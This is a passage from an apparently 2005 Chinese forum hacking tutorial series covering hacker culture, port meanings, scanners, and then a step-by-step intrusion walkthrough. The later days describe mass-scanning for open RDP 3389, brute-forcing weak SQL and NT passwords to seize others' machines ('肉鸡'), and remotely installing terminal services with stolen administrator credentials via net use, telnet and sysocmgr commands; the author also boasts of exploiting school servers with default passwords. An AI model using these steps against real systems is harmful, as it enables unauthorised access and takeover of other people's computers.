2005-11-27 16:09
『第1天』何谓黑客?
何谓“黑客”
黑客是英文“HACKER”的音译。动词原形为“HACK”,意为“劈”、“砍”。英文词典是这样解释黑客行为:未经授权进入一个计算机的存储系统,如数据库。中文译成“黑客”贬义比英文原义似乎略重,有“未经允许”等不合法的含义。另一种说法是,HACK是本世纪早期麻省理工学院俚语,有“恶作剧”之意,尤其指手法巧妙,技术高明的恶作剧,并且带有反既有体制的色彩。
四代黑客铸就了网络
有人说,美国人创造了黑客,如同他们创造了牛仔。
本世纪60至70年代,一群大学计算机系教室里的知识分子利用“分时系统”技术把计算机主机变成了事实上的个人计算机,从而使更多的人有机会接触到计算机。这些人就是第一代黑客。当时做一名计算机黑客是一件很荣耀的事,它意味着对电脑的全身心的投入,虽然可能被外人视为疯狂之举。
70年代后期,第二代黑客领头人是大名鼎鼎的史蒂夫。乔布斯、史蒂夫、伍兹尼亚克和费尔森斯坦,发明并产生了个人计算机。他们都是非学术界的,属铁杆反文化的类型。作为坚定的反文化分子,他们使计算机王国的老大IBM颜面尽失。
80年代初出现的第三代黑客,为个人计算机设计了各种应用教育和娱乐程序。特别是米彻·凯普发明的LOTUS1 1-2-3电子报表程序促成了IBM PC的成功。
第四代黑客出现在80年代中期。他们发明了包罗万象的电子公告牌(BBS)和自由平等的以非层级方式连接的USENET,并且将美国国防部的阿帕网(ARPANET)改造成了今天的互联网络。
黑客的“道德准则”
互联网现在有上千万用户,平均年龄为30岁。很多人深信,就像个人计算机改变了80年代一样,互联网将改变90年代。
“想真正成为黑客,你必须真枪实弹去做黑客应该做的事情。”这是黑客的宣言,并且广告天下,他们声称:不要将你已破解的任何信息与人分享,除非此人绝对可以信赖。不在家庭电话中谈论你HACK的任何事情。当你发送相关信息的BBS时,对你当前所做的黑事尽可能说得含糊一些,以避免BBS受到警告。将你的黑客资料放在安全的地方。在BBS上POST文章的时候不要使用真名和真实的电话号码。如果你黑了某个系统,绝对不要留下任何蛛丝马迹。
显然,一些所谓的道德准则是需要打上一个引号的。但也确实有一些是较为人称道的。如:不要侵入或破坏政府机关的主机;不恶意破坏任何系统;不破化别人的软件或资料……
一切信息都应该是免费的
“一切信息都应该是免费的”。黑客们也有自己的伦理原则。他们深信,任何一个人都能在计算机上创造艺术与美,计算机能够使生活变得更美好。
黑客最重要的信条是不相信权威当局,提倡依*自己。他们把美国已故肯尼迪的话,“不要问你的国家能为你做些什么,要问你能为国家做些什么”改成了“不要问你的国家能为你做些什么,你自己做”。因此,他们中大多数人一改过去学术界蔑视商界的传统,半途辍学支办自己的公司。他们认为信息应该是免费的信息创造了“免费软件”和“共享软件”的概念,使得每个需要这些软件的人都可以得到它们。
坚持“三项基本原则”
国外《PHRACK》杂志被认为是黑客的“官方”新闻通讯,它把黑客的思想扩展成一些基本原则,被概括为一些基本原则。主要内容为“因为设备的高代价超出了大多数黑客的财力,它在感觉上造成的结果是,劈和砍是把计算机知识传给大众的唯一办法”。黑客们坚决反对“权利”只属于那些有权进入和使用现代技术的群体。
基于上述的分析来看,要认识黑客的确不是一件容易的事。不过我们似乎已经明白,黑客不应该总在贬义上被使用。而是应该记住雨果、康沃尔在《黑客手册》一书说的话:“黑客活动的乐趣和报偿纯粹是智力上的”,他们“不过沿袭了一个长期的历史传统,人类社会中,总有那么一批人对机器和技术着迷,他们使用技术时抱着一种嬉戏的态度,以观察会有什么结果发生”。
还有我希望提醒大家严格遵守守则,另外中国的法律在健全,请不要随意做破坏网络的事
『第2天』从端口说起
早上起的很早,就开始忙了,我想昨天讲了一些命令后今天就从端口说起吧
从网上抄了一份详细的端口意义:
http://www.91one.net/dvbbs/dispbbs.asp?b...=17&id=770
有些端口是比较重要的比如135,137,138,139,445之类,那我扫描到的端口到底有什么用?我想你肯定要问,这样今天,我就用一个真实的扫描向你讲述扫到的端口的用途。
被扫的主机:192.***.xx.x
主机IP数:4
发现的安全漏洞:7个
安全弱点:45个
系统: Standard: Solaris 2.x, Linux 2.1.???, Linux 2.2, MacOS
Telnet (23/tcp)
ssh (22/tcp)
ftp (21/tcp) (发现安全漏洞)
netstat (15/tcp)
daytime (13/tcp)
systat (11/tcp)
echo (7/tcp)
time (37/tcp)
smtp (25/tcp)
www (80/tcp) (发现安全漏洞)
finger (79/tcp)
auth (113/tcp)
sunrpc (111/tcp)
pop-2 (109/tcp)
linuxconf (98/tcp)
imap2 (143/tcp)
printer (515/tcp)
shell (514/tcp)
login (513/tcp)
exec (512/tcp)
unknown (693/tcp)
unknown (698/tcp)
unknown (727/tcp)
swat (910/tcp)
unknown (1025/tcp)
unknown (1039/tcp)
unknown (1038/tcp)
unknown (1037/tcp)
unknown (1035/tcp)
unknown (1034/tcp)
unknown (3001/tcp)
unknown (6000/tcp)
echo (7/udp)
general/tcp
daytime (13/udp)
unknown (728/udp) (发现安全漏洞)
unknown (2049/udp)
unknown (681/udp)
unknown (2049/tcp)(发现安全漏洞)
可用telnet登录的端口 (23/tcp)
这个信息表明远程登录服务正在运行,在这里你可以远程登录到该主机,这种不用密码的远程登录服务是危险的,如果可以匿名登录,任何人可以在服务器和客户端之间发送数据。
发现的可攻击弱点 (21/tcp)
我在那里发现了一个目录是可写的:
/incoming
ftp端口 (21/tcp)
ftp服务TELNET服务一样,是可以匿名登录的,而且在有的机器上它还允许你执行远程命令,比如CWD ~XXXX,如果你能CWD ROOT成功,那你就可以获得最高权限了,不过这样的好事好像不多。另外,有时还能用它获得一个可用的帐号(guest),或得知主机在运行什么系统
13/tcP(daytime)
从这里可以得知服务器在全天候运行,这样就有助于一个入侵者有足够的时间获取该主机运行的系统,再加上udp也在全天候的运行,这样可以使入侵者通过UDP欺骗达到主机拒绝服务的目的
ECHO(7/tcp)
这个端口现在没什么用处,但它可能成为一个问题的来源,顺着它有可能找到其它端口以达到拒绝服务的目的。
(25/tcp)smtp端口
该端口开放邮件传输协议
回应可执行EXPN和VRFY命令
EXPN可以发现发送邮件的名称或者能找到一个完整的邮件接收人的名称。
VRFY命令可以用来检测一个帐号的合法性
我们可以试着发这样一个类型的邮件给它:
user@hostname1@victim
我们会收到一个这样的邮件:
user@hostname1
也许我们就能用它穿过防火墙
WWW(80/TCP)端口
它表明WWW服务在该端口运行
finger (79/tcp) 端口
finger服务对入侵者来说是一个非常有用的信息,从它可以获得用户信息,查看机器的运行情况等
auth (113/tcp)
ident服务披露给入侵者的将是较敏感的信息,从它可以得知哪个帐号运行的是什么样的服务,这将有助于入侵者集中精力去获取最有用的帐号(也就是哪些人拥有ROOT权限)
(98/tcp) LINUX在这个端口上运行
(513/tcp) RLOGIN在这个端口上运行
这种服务形同于TELNET,任何人可以在它的引导下在客户端和服务端之间传送数据。
exec (512/tcp)
rexecd在该端口开放,该服务使一个破译者有机会从它那里扫描到另外一个IP,或者利用它穿过防火墙。
也许你还能发现很多端口,不同的端口会有不同的作用
我最喜欢开135端口的,我们学校的几个FTP和主机都开了135端口,还用默认密码(不知道是为什么,我想主要是管理员考虑我们找不到肉鸡了『都2004年了,肉鸡很难找的,因为各位大侠都用着呢』,所以特地给我们准备好了),把我高兴的几天都没睡好,可惜里面没什么东西。只能当空间用着了。不过我们学校的主机大都用的是UNIX的,不是瘟二钱的,所以也让人有点郁闷啊,UNIX有点复杂,我只得从0学,还有点难,我会在后面讲到的,现在我们主要是关注WIN2000操作系统的主机了,说到这不能不提一下WIN2K源代码的泄漏,兄弟我在第一时间拿到了这个泄漏的源代码,有230M,还真多,看了一个晚上,也不怎么了解,反正有的是时间,先贴一段,大家瞧瞧,有看懂的,就不用来这看这了,呵呵
贴在网络技术里了
至于软件方面我喜欢用流光(有些人或许不知道这是什么),是扫描器,很好用,是国产的,就是前面访问的小容做的,但他在里面设置了限制不许PING国内的主机,但好多大哥早就破掉了(感觉很幸福啊,不用自己破了),现在的最高版本好像是流光5.0吧,到GOOGLE 上搜一下就能找到N个,我就不说了(要提高动手能力嘛)
下面我来介绍几种常见的扫描器:
一。NSS(网络安全扫描器)
NSS由Perl语言编成,它最根本的价值在于它的速度,它运行速度非常快,它可以执行下列常规检查:
■Sendmail
■匿名FTP
■NFS出口
■TFTP
■Hosts.equiv
■Xhost
注:除非你拥有最高特权,否则NSS不允许你执行Hosts.equiv。
利用NSS,用户可以增加更强大的功能,其中包括:
■AppleTalk扫描
■Novell扫描
■LAN管理员扫描
■可扫描子网
简单地说,NSS执行的进程包括:
■取得指定域的列表或报告,该域原本不存在这类列表
■用Ping命令确定指定主机是否是活性的
■扫描目标主机的端口
■报告指定地址的漏洞
尽管没有详尽讨论NSS,但我在这里要说明一些次要的问题:
■在对NSS进行解压缩后,不能立即运行NSS,需要对它进行一些修改,必须设置一些环境变量,以适应你的机器配置。主要变量包括:
■$TmpDir_NSS使用的临时目录
■$YPX-ypx应用程序的目录
■$PING_可执行的ping命令的目录
■$XWININFO_xwininfo的目录
提示:如果你隐藏了Perl include目录(目录中有Perl include文件),并且在PATH环境变量中没有包含该目录,你需要加上这个目录;同时,用户应该注意NSS需要ftplib.pl库函数。NSS具有并行能力,可以在许多工作站之间进行分布式扫描。而且,它可以使进程分支。在资源有限的机器上运行NSS(或未经允许运行NSS)应该避免这种情况,在代码中有这方面的选项设置。
你可在下面地址找到NSS拷贝。 http://www.giga.or.at/pub/hacker/unix
二。Strobe(超级优化TCP端口检测程序)
strobe是一个TCP端口扫描器,它可以记录指定机器的所有开放端口。strobe运行速度快(其作者声称在适中的时间内,便可扫描整个一个国家的机器)。
strobe的主要特点是,它能快速识别指定机器上正在运行什么服务。strobe的主要不足是这类信息是很有限的,一次strobe攻击充其量可以提供给“入侵者”一个粗略的指南,告诉什么服务可以被攻击。但是,strobe用扩展的行命令选项弥补了这个不足。比如,在用大量指定端口扫描主机时,你可以禁止所有重复的端口描述。(仅打印首次端口定义)其他选项包括:
■定义起始和终止端口
■定义在多长时间内接收不到端口或主机响应,便终止这次扫描。
■定义使用的socket号码
■定义strobe要捕捉的目标主机的文件
提示:在你获得strobe的同时,必然获得手册页面,这对于Solaris 2.3是一个明显的问题,为了防止发生问题,你必须禁止使用getpeername()。在行命令中加入-g 标志就可以实现这一目的。
同时,尽管strobe没有对远程主机进行广泛测试,但它留下的痕迹与早期的ISS一样明显,被strobe扫描过的主机会知道这一切(这非常象在/var/adm/messages文件中执行连接请求)。
三。SATAN(安全管理员的网络分析工具)
SATAN是为UNIX设计的,它主要是用C和Perl语言编写的(为了用户界面的友好性,还用了一些HTML技术)。它能在许多类UNIX平台上运行,有些根本不需要移植,而在其他平台上也只是略作移植。
注意:在Linux上运行SATAN有一个特殊问题,应用于原系统的某些规则在Linus平台上会引起系统失效的致命缺陷;在tcp-scan模块中实现select()调用也会产生问题;最后要说的是,如果用户扫描一个完整子网,则会引进反向fping爆炸,也即套接字(socket)缓冲溢出。但是,有一个站点不但包含了用于Linux的、改进的SATAN二进制代码,还包含了diff文件,这些条款可以在ftp.lod.com
上发现,或者可以直接从Sun站点(sunsite.unc.edu)取得diff文件:
/pub/linux/system/network/admin/satan-linux.1.1.1.diff.gz
SATAN用于扫描远程主机的许多已知的漏洞,其中包括,但并不限于下列这些漏洞:
■FTPD脆弱性和可写的FTP目录
■NFS脆弱性
■NIS脆弱性
■RSH脆弱性
■Sendmail
■X服务器脆弱性
你可在下面地址中获得SATAN的拷贝: http://www.fish.com
安装过程
SATAN的安装和其他应用程序一样,每个平台上的SATAN目录可能略有不同,但一般都是/satan-1.1.1。安装的第一步(在阅读了使用文档说明后)是运行Perl程序reconfig。这个程序搜索各种不同的组成成分,并定义目录路径。如果它不能找到或定义一个浏览器。则运行失败,那些把浏览器安装在非标准目录中(并且没有在PATH中进行设置)的用户将不得不手工进行设置。同样,那些没有用DNS(未在自己机器上运行DNS)的用户也必须在/satan-1.1.1/conf/satan.cf中进行下列设置:$dont_use_nslookuo=1;在解决了全部路径问题后,用户可以在分布式系统上运行安装程序(IRIX或SunOS),我建议要非常仔细地观察编译,以找出错误。
提示:SATAN比一般扫描器需要更多一些的资源,尤其是在内存和处理器功能方面要求更高一些。如果你在运行SATAN时速度很慢,可以尝试几种解决办法。最直接的办法就是扩大内存和提高处理器能力,但是,如果这种办法不行,我建议用下面两种方法:一是尽可能地删除其他进程;二是把你一次扫描主机的数量限制在100台以下。最后说明的一点是,对于没有强大的视频支持或内存资源有限的主机,SATAN有一个行命令接口,这一点很重要。
四。Jakal
Jakal是一个秘密扫描器,也就是就,它可以扫描一个区域(在防火墙后面),而不留下任何痕迹。
秘密扫描器工作时会产生“半扫描”(half scans),它启动(但从不完成)与目标主机的SYN/ACK过程。从根本上讲,秘密扫描器绕过了防火墙,并且避开了端口扫描探测器,识别出在防火墙后面运行的是什么服务。(这里包括了像Courtney和GAbriel这样的精制扫描探测器)
在下面地址中可以找到由Half life,Jeff(PhiJi)Fay和Abdullah Marahie编写的Jakal拷贝: http://www.giga.or.at.pub/hacker/unix
⑸IdentTCPscan
IdentTCPscan是一个更加专业化的扫描器,其中加入了识别指定TCP端口进程的所有者的功能,也就是说,它能测定该进程的UID。
五.CONNECT
CONNECT是一个bin/sh程序,它的用途是扫描TFTP服务子网
六。FSPScan
FSPScan用于扫描FSP服务顺。FSP代表文件服务协议,是非常类似于FTP的Internet协议。它提供匿名文件传输,并且据说具有网络过载保护功能(比如,FSP从来不分*)。FSP最知名的安全特性可能就是它记录所有到来用户的主机名,这被认为优于FTP,因为FTP仅要求用户的E-mail地址(而实际上根本没有进行记录)。FSP相当流行,现在为Windows 和OS/2开发了GUI客户程序
七。XSCAN
XSCAN扫描具有X服务器弱点的子网(或主机)。乍一看,这似乎并不太重要,毕竟其他多数扫描器都能做同样的工作。然而,XSCAN包括了一个增加的功能:如果它找到了一个脆弱的目标,它会立即加入记录。
XSCAN的其他优点还包括:可以一次扫描多台主机。这些主机可以在行命令中作为变量键入(并且你可以通过混合匹配同时指定
上面的有些是英文界面的,不过好像不少都用汉化补丁,找找吧。
还要推荐一个特好的(我第一次见到她就喜欢上了)就是SSS,Shadow Security Scanner
下载:http://www.20cn.net/cgi-bin/download/dow...ist=scaner
天天安全的SSS下载能即使更新
关于NAMP的使用大家看看这个帖子 http://www.91one.net/dvbb......id=17&id=...tar=1#1362
[第3天]继续讲扫描
有人提意见了,说讲的太慢了,可我无法想象你连扫描,端口之类还弄不清楚,怎么进一步发展呢,昨天讲了扫描,相信很多朋友已经PING 了很多主机了吧,千万别弄我的啊,我用的是人家的主机,他们很白的。找到了漏洞的目的是什么呢?是控制对方,即是获得远程shell。shell这个概念是从UNIX下继承过来的,是指与xx作系统核心的一种交互方式和界面。还是不懂是吗?有篇关于SHELL的帖子大家去看一看
http://www.91one.net/dvbbs/dispbbs.asp?b...17&id=1426
,如果还不知道就算了,你知道有这个词就可以了。
怎么得到shell呢?这很关键,有很多方法:典型的例子是telnet。得到shell的办法有很多种,比如通过系统自带的telnet,终端服务。或者用木马和工具提供的,如winshell,冰河等等。说到冰河我不想说那么多没有篇文章很好大家看一下:http://978229.myrice.com/tty/Preview.htm#MAILLISTDOC19
得到shell后,不是所有权限都会开的,得到管理员权限当然是我们的梦想了。所以有时会有提升权限的问题。当然这也是利用了漏洞。
Win2K 提升权限漏洞
http://www.yesky.com/20010530/182273.shtml ;
Microsoft SQL Server Webtasks权限提升漏洞 http://www.mhdn.net/se/2002-11-08/6386.html
Linux kernel ptrace提升权限漏洞 http://www.softhouse.com.cn/docs/southpark2169.html
IIS提升权限漏洞
http://moon-soft.com/e_co......t/doc/rea...572760.htm
当然这些漏洞大都有补丁可下了,如果管理员勤快的话就不好了,不过很多人都很马虎的,我认识个管理员是一个高校的,用的是win2000竟从不打补丁,理由是俺用的是D版的,打补丁恐怕会冲系统啊(有道理啊)
觉得讲shell还不透彻(有朋友发短信问我了),我查了一下资料:
Shell是什么?
任何发明都具有供用户使用的界面。UNIX供用户使用的界面就是Shell(DOS的command熟悉吧,但UNIX的要强大的多)。 Shell为用户提供了输入命令和参数并可得到命令执行结果的环境。形象点就是:dos中的command.com就是一种shell程序
今天就说到这,最后写个小知识:针对网吧的限制 对有些朋友或许有用哦
http://www.91one.net/dvbbs/dispbbs.asp?b...=17&id=769
[第4天]从终端服务3389讲起
昨天我们讲到了提升权限的问题,好现在我们就来说一个简单的入侵,从3389找个肉鸡(没有肉鸡的话,对自己的技术提高是没好处的,不能老是看却不练啊,陈同学你说对吗?)
请各位注意,我这里并不是说什么烂鬼输入法漏洞。这种漏洞差不多已经绝迹了,太难找了,如果有人找到了,那恭喜你啦。众所周知,有开3389的一般都是服务器,也就是说有很大可能带局域网的,而内部入侵比外部要方便一点,这对大家是很好的,我想看我这个东西的很多都是学生吧(声明我就个学生哦)。如何能快速方便的得到开了终端的肉机呢?这需要用到两个工具,都是扫描工具来的,scanner3.0和焦点的xscan。打开scanner,输入一段IP,范围要大一点,scanner速度很快的。在“所有端口从”那里都填3389,点击“开始”就可以开工了。
很快的,扫描完成,结果出来了。点击右下脚的“删除”把多余的IP删了,只留下开了3389的IP。再点击“保存”,把结果保存到文件夹里。找到保存文件的目录,打开它。用记事本的替换功能把它保存为一个纯IP的TXT文件。“编辑-替换”在“查找内容”里输入要删除的垃圾,再点“全部替换”就行了。打开xscan,点击左边的蓝色按钮,进入“扫描板块”,只需在“SQL-Server弱口令”“NT-Server弱口令”前打钩,其他都清除掉。再点击右边的蓝色按钮,进入“扫描参数”,钩上“从文件获取主机列表”,打开刚才替换成纯IP的TXT文件,确定之后就可以扫描了。这时需要比较长的时间!(注意我是拿3.0为例的,其他的也差不多)。确定目标,用mstsc(登陆终端的工具,这个我不喜欢用,但确实很容易上手的)登陆对方主机后,打开对方cmd.exe,输入“net use”,先看看有没有人也在连接这部机(安全一点好,毕竟不是在学雷峰啊)。“net view”命令之后当出现一堆前面带\\字符的就表示~~就表示什么呢??我想大家都非常明白吧!,如果不明白的话,我。。(也不知道怎么说了 )
想做个补充
发现很多朋友对什么叫终端服务有点模糊
好,我们就详细说说 毕竟这个概念很重要的
终端服务提供了通过作为终端仿真器工作的“瘦客户机”软件远程访问服务器桌面的能力。终端服务只把该程序的用户界面传给客户机。客户机然后返回键盘和鼠标单击动作,以便由服务器处理。每个用户都只能登录并看到它们自己的会话,这些会话由服务器操作系统透明地进行管理,而且与任何其他客户机会话无关。客户软件可以运行在多个客户机硬件设备上,包括计算机和基于 Windows 的终端。其他设备,如 Macintosh 计算机或基于 UNIX 的工作站,也可以使用其他第三方的软件连接到终端服务器。
终端服务可以在应用服务器模式或远程管理模式下在服务器上进行配置。作为应用服务器,终端服务提供了一种有效而可*的方式,通过网络服务器分发基于 Windows 的程序。在应用服务器模式下,终端服务为可能无法正常运行 Windows 的计算机显示 Windows 2000 的桌面以及目前基于 Windows 的大多数应用程序。在远程管理模式下使用时,终端服务提供了远程访问的能力,使您可以从网络上的任何地方虚拟地管理您的服务器。
终端服务有以下好处:
更快地显示 Windows 2000 的桌面。终端服务架设了一座从旧式桌面迁移到 Windows 2000 Professional 的桥梁,为非计算机桌面以及需要进行硬件升级才能在本地完全运行 Windows 2000 操作系统的计算机提供了一种虚拟的 Windows 2000 桌面环境。终端服务客户可用于多种不同的桌面平台,包括 MS-DOS、基于 Windows 的终端、Macintosh 和 UNIX。(与 MS-DOS、Macintosh 和基于 UNIX 的计算机的连接需要附加的软件)。
充分利用已有的硬件。终端服务扩展了分布式计算模型,允许计算机同时作为瘦客户机和具有完整功能的个人计算机操作。当计算机在现有的网络上时,可以继续使用,同时也可作为能仿真 Windows 2000 Professional 桌面的瘦客户机使用。
程序的集中配置。使用运行在 Windows 2000 Server 上的终端服务,所有程序的执行、数据的处理以及数据的存储都在服务器上进行,程序得以集中配置。终端服务可确保所有客户机都能访问当前版本的程序。软件只能在服务器上安装一次,而不能安装在您单位的每个桌面上,这样可减少单独更新计算机所花费的成本。
远程管理。终端服务提供了对 Windows 2000 Server 的远程管理,为系统管理员提供了从任何客户机通过广域网或拨号连接远程管理其服务器的一种方法。
功能:
易于使用
可管理性
安全性
易于使用
功能 说明 详细信息,请参阅:
自动的本地打印机支持 Windows 2000 Server 终端服务可以添加并自动重新连接终端服务客户所连接的打印机。 提供对本地打印机的客户访问
剪贴板重定向 现在,用户可以在运行于本地计算机和终端服务器上的程序之间剪切和粘贴。 共享的剪贴板
性能增强 对缓存功能的增强,包括持久性缓存、数据包的利用和数据帧大小,明显地改进了终端服务的性能。 位图缓存
漫游式断开连接支持 此功能使用户不用注销即可从会话中断开连接。在断开时会话仍可保持活动状态,这使得用户可以从另一台计算机中或在稍后某个时间重新连接到现有会话。重新连接需要登录,以便在任何时候都能保证每个会话的安全性。 注销或断开连接
多登录支持 用户可以登录到多个会话,同时从一个或多个客户机到多个 Windows 2000 Server,或者多次登录到一个服务器。这样,用户就可以同时执行多项任务或运行多个单独的桌面会话。 管理用户和客户机
可管理性
功能 说明 详细信息,请参阅:
会话远程控制 支持者可查看或控制另一终端服务会话。键盘输入、鼠标移动以及图形显示可在两个终端服务会话之间共享,为支持者提供了诊断和解决配置问题以及远程培训用户的能力。此功能对于带有分支机构的单位特别有用。 远程控制
网络负载平衡 网络负载平衡使终端服务客户可连接到运行终端服务的服务器组中最轻闲的成员。 网络负载平衡和终端服务
基于 Windows 的终端 根据 Windows CE 操作系统和远程桌面协议 (RDP) 的自定义实现,不同的制造商可提供基于 Windows 的终端。
客户连接管理器 管理员和用户可以为一个程序或全部桌面访问建立到服务器的预定义连接。客户连接管理器在客户机桌面上创建图标,以便能通过一次单击连接到一个或多个终端服务器。想在计算环境中提供单个程序的管理员可以创建连接并将该连接与终端服务客户软件一同分发。 管理终端服务用户连接
终端服务授权 终端服务授权帮助系统管理员和采购部门跟踪客户机及其相关许可证。 授权终端服务
分布式文件系统 (DFS) 支持 对分布式文件系统 (DFS) 的支持使用户可以连接到 DFS 共享位置,而且使管理员可以从终端服务器主控 DFS 共享。 分布式文件系统概述
终端服务管理器 管理员可以使用终端服务管理器查询和管理 Windows 2000 Server 上的终端服务会话、用户和进程。 管理终端服务
终端服务配置 终端服务连接配置可用于创建、修改和删除 Windows 2000 Server 上的一个或一组会话并访问服务器设置。 配置终端服务
与 Windows 2000 Server“本地用户和组”以及“Active Directory 用户和计算机”的集成 管理员可以按照为 Windows 2000 Server 用户创建帐户的相同方式为终端服务用户创建帐户。另有一些字段可用来指定终端服务专用信息,如终端服务配置文件路径和主目录。 终端服务用户帐户
与 Windows 2000 Server 系统监视器的集成 与 Windows 2000 Server 系统监视器的集成使管理员可以监视器终端服务系统性能,包括跟踪处理器的使用情况、内存分配和分页内存使用情况,并在每个用户的会话之间交换。 性能监视
消息传递支持 管理员可以就一些重要的信息警告用户,如系统关机、升级或新程序。 使用终端服务管理器
远程管理 具有管理级特权而且可访问终端服务管理级实用程序的任何用户都可以远程管理运行终端服务的服务器的各方面工作。
可配置的会话超时设置 管理员可以通过配置会话超时来减少服务器资源的使用。管理员可以指定活动会话的长度以及会话可在服务器上闲置多长时间 配置会话限制
安全性
功能 说明 详细信息,请参阅:
加密 多级加密使管理员可以根据安全性需要在三种不同级别(低级、中级或高级)上加密在 Windows 2000 Server 和终端服务客户之间传输的所有或部分数据。另外,终端服务登录过程包括更改密码、桌面解锁以及屏幕保护功能解锁。登录过程是加密的,以确保用户名称和密码的安全传输。终端服务支持在服务器和客户机之间的 40 位和 128 位加密(128 位加密只能在美国和加拿大使用)。 确定加密的级别
限制登录尝试和连接时间 管理员可以限制用户登录尝试次数,以防止有人未授权访问服务器。另外,个别用户或分组用户的连接时间可以进行限制。 配置终端服务
终端服务配置概述
终端服务连接提供了客户机可用于登录到服务器上某个会话的链接。TCP/IP 连接是当终端服务在 Windows 2000 Server 上启用时自动配置的。使用终端服务配置,您可以更改连接的默认属性或添加新连接。
终端服务配置
打开终端服务配置时,您将会看到已经配置的连接。这称为 RDP-TCP 连接。通常,这只是需要为使用终端服务器的客户配置的连接。对于终端服务器,只能为每个网卡配置一个 RDP(远程桌面协议)连接。如果要配置其他的 RDP 连接,您必须安装附加的网卡。
使用终端服务配置,您可以重新配置 RDP-TCP 连接的属性,包括限制客户机会话在服务器上保持活动状态的时间、设置加密的保护级别以及选择您希望用户和组具备的权限。某些连接属性也可以使用“本地用户和组”的终端服务扩展程序在每用户基础上配置。例如,当您使用“本地用户和组”的终端服务扩展程序时,可以为每个用户设置不同会话期限。使用终端服务配置,您可以只在每连接基础上设置会话期限,这意味着相同期限将应用于使用连接登录到服务器的所有用户。
除配置连接以外,您可以使用“终端服务配置”功能配置可应用于终端服务器的设置。包括临时文件夹的设置、默认连接安全性以及启用/禁用 Internet 连接器许可。详细信息,请参阅配置服务器设置。
基于 Citrix CA 的客户机
终端服务配置还用于为基于 Citrix CA 的客户机配置连接。当 Citrix CA 协议和基于 Citrix CA 的客户软件添加到该系统时,可以使用 TCP/IP、同步、IPX/SPX 或 NetBIOS 传输协议配置这些连接
有很多朋友问怎么开启3389终端服务下面我们一起来探索一下远程开启3389的方法. 首先我们应该了解3389终端服务,可以运行在什么系统下,个人了解,终端服务在M$的大部分
产品中都可运行,如:winnt4/win2000server/win2000ADV-server/win2000DS/XP等.
但winnt4中是需要单独购买的,2000专业版不能远程安装终端服务的,至少我没成功过.
我们在以下的探索中,是以win2000server和高级server为例的.(现在用的也最多).
现在开始. 假设我们拿到了一个主机的管理员帐户和密码.
主机: 192.168.0.1
帐号: administrator
密码: 7788
2000系统安装在c:\winnt下
从上面的的介绍可以知道,2000专业版是不可以远程安装终端服务的,那我们就要首先来
判断此主机是专业版还是服务器版,才能进入下一个环节. 我们可以先用对方所开帐户判断: c:\>letmein \\192.168.0.1 -all -d
stating connecting to server ...
Server local time is: 2002-1-13 10:19:22
Start get all users FORM server...
--------------------------
Total = 5
--------------------------
num0= Administrator ()
num1= Guest ()
num2= IUSR_servername (Internet 来宾帐号 )
num3= IWAM_servername (启动 IIS 进程帐号)
num4= TsInternetUser (TsInternetUser)
--------------------------
Total = 5
-------------------------- 一般情况num2/3/4这三个帐户都是2000server默认开启的.
2000专业版默认是不开这些帐户的. 我们也可以扫描对方开放的端口进一步确认:
用扫描软件如
uperscan3.exe扫描对方所开端口
判断对方是否开启25,3372等2000server默认开启的端口. 当然我们还可以使用一些工具,如:cmdinfo.zip
这2个东东可以获得本地或远程NT/2K主机的版本,系统路径,源盘路径,PACK版本,安装时间等一
系列信息,一个图形界面,一个命令行.
通过返回的信息就可以很清楚的了解对方主机情况. 还有一些其他的方法来判断,如:从对方所开的服务来确定等,
从上面的判断准确率还算高,别的就不一一说明了.
如果你在以上步骤里发现对方主机并没有那3个帐户,默认端口也没开,
或cmdinfo返回的信息对方是2000专业版,你就要放弃安装3389的计划了.
现在我们要进入下一环节:
判断终端服务到底有没有安装? 你也许要问:为什么还要判断啊?我扫描没有发现3389端口啊
这里就需要解释一下,如果装了终端服务组件,可能有哪几种情况扫描不到3389端口?
1.终端服务termservice在"管理工具">>>"服务"中被禁用.
2.终端服务连接所需的RDP协议在"管理工具">>>"终端服务配置"中被停用连接.
3.终端服务默认连接端口3389被人为的改变.如何改变请看修改终端服务默认的3389端口
4.终端服务绑定的网络适配器不是外网的.
5.防火墙和端口过滤之类的问题.
6.....(还有我没想到的)
其实,我们遇到最多的情况就是以上5种情况. 现在开始判组件是否被安装. 先与远程主机连接,映射远程主机C盘为本地Z盘
net use z: \\192.168.0.1\c$ "7788" /user:"administrator"
命令成功完成。 然后转到Z盘,检查
Z:\Documents and Settings\All Users\「开始」菜单\程序\管理工具>
里是否有 "终端服务管理器"和"终端服务配置"的快捷方式文件
如有已安装服务组件的会有,反之,没有(98% 人为故意删的可能性较小)
我们还可以在下一步telnet到对方主机后使用终端服务自带的命令进一步的核实. 判断完毕,对方好像是没有安装终端服务组件,可以进入下一步:
telnet登陆对方主机,准备安装服务组件. 在这里,我强烈建议使用2000自带的telnet服务端登陆,
有回显,不容易出错.个人感觉使用它,一次成功的比例高很多.(呵呵~,个人理解啊!)
就算没有开,打开用完后再关掉就完了.
.abu.写的最快速登录WIN2K TELNET 服务已经把这个方法介绍的非常详细,
而且他的办法(在本机建立同名,同密码帐户),让快速实现telnet登陆成为现实. 假如我们已开启对方23端口,
telnet 192.168.0.1
输入用户名/密码
*===============================================================
欢迎使用 Microsoft Telnet 服务器。
*===============================================================
C:\>
\\成功进入!!!! 进入后,再次检查终端组件是否安装:
c:\>query user
这个工具需要安装终端服务. 这样就进一步确定了组件没有被安装.如果返回:
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>w1 console 0 运行中 . 2002-1-12 22:5
\\类似这样的信息,可能组件就已安装. 好!都清楚了,可以开始安装了.
---------------------------------------------------
C:\>dir c:\sysoc.inf /s //检查INF文件的位置
c:\WINNT\inf 的目录 2000-01-10 20:00 3,770 sysoc.inf
1 个文件 3,770 字节
-----------------------------------------------------
C:\> dir c:\sysocmgr.* /s //检查组件安装程序
c:\WINNT\system32 的目录 2000-01-10 20:00 42,768 sysocmgr.exe
1 个文件 42,768 字节
-----------------------------------------------------
c:\>echo [Components] > c:\wawa
c:\>echo TSEnable = on >> c:\wawa
//这是建立无人参与的安装参数
c:\>type c:\wawa
[Components]
TSEnable = on
//检查参数文件
------------------------------------------------------
c:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\wawa /q
-----------------------------------------------------
这一条就是真正安装组件的命令.
以上这条命令没有加/R参数,主机在安装完后自动重起.
如若加了/R参数主机就不会重起. 如果一切正常的话,几分钟后对方主机将会离线,当它重新回来时,
3389终端服务就已经开启.你就可以连上去了. 问题和建议: A 在安装过程中,不使用/R,有时主机也不会重起,你就要手动重起他,但在使用诸如:iisreset /reboot命令时,对方
